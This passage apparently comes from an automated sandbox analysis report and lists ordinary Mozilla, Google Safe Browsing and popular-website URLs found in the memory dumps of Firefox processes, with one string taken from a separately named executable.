Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000019.00000002.3020548386.0000025E7D1B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/getUserContextIdForCookieStoreId/shims/adsafeprotected-ima.js
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/getUserContextIdForCookieStoreId/shims/adsafeprotected-ima.js/shims/
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83144000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addonresource:///modules/UrlbarProvidersManager.sy
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000019.00000002.3069732243.0000025E82535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2places
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svgwebcompat-reporter
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2939160067.0000025E83995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:maybeOfferTranslations
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82433000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82433000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000019.00000002.3009852946.0000025E71003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/resource://activity-stream/lib/RemoteL
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.3081282197.0000025E8317D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000003.2958021612.0000025E83DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 21024c5511.exe, 0000000E.00000003.2913432713.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgupgradeTabsProgressListenercreateContentPrincipalFromOriginmigrateXULAttr
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000019.00000002.3009852946.0000025E71003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80CB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000019.00000003.2956838573.0000025E89170000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000019.00000003.2953976180.0000025E8937F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E814B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874853592.0000025E8116F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2875054403.0000025E8118A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000019.00000002.3015823343.0000025E7C9F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/http://www.mozilla.org/keymaster/gatekeeper/there
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
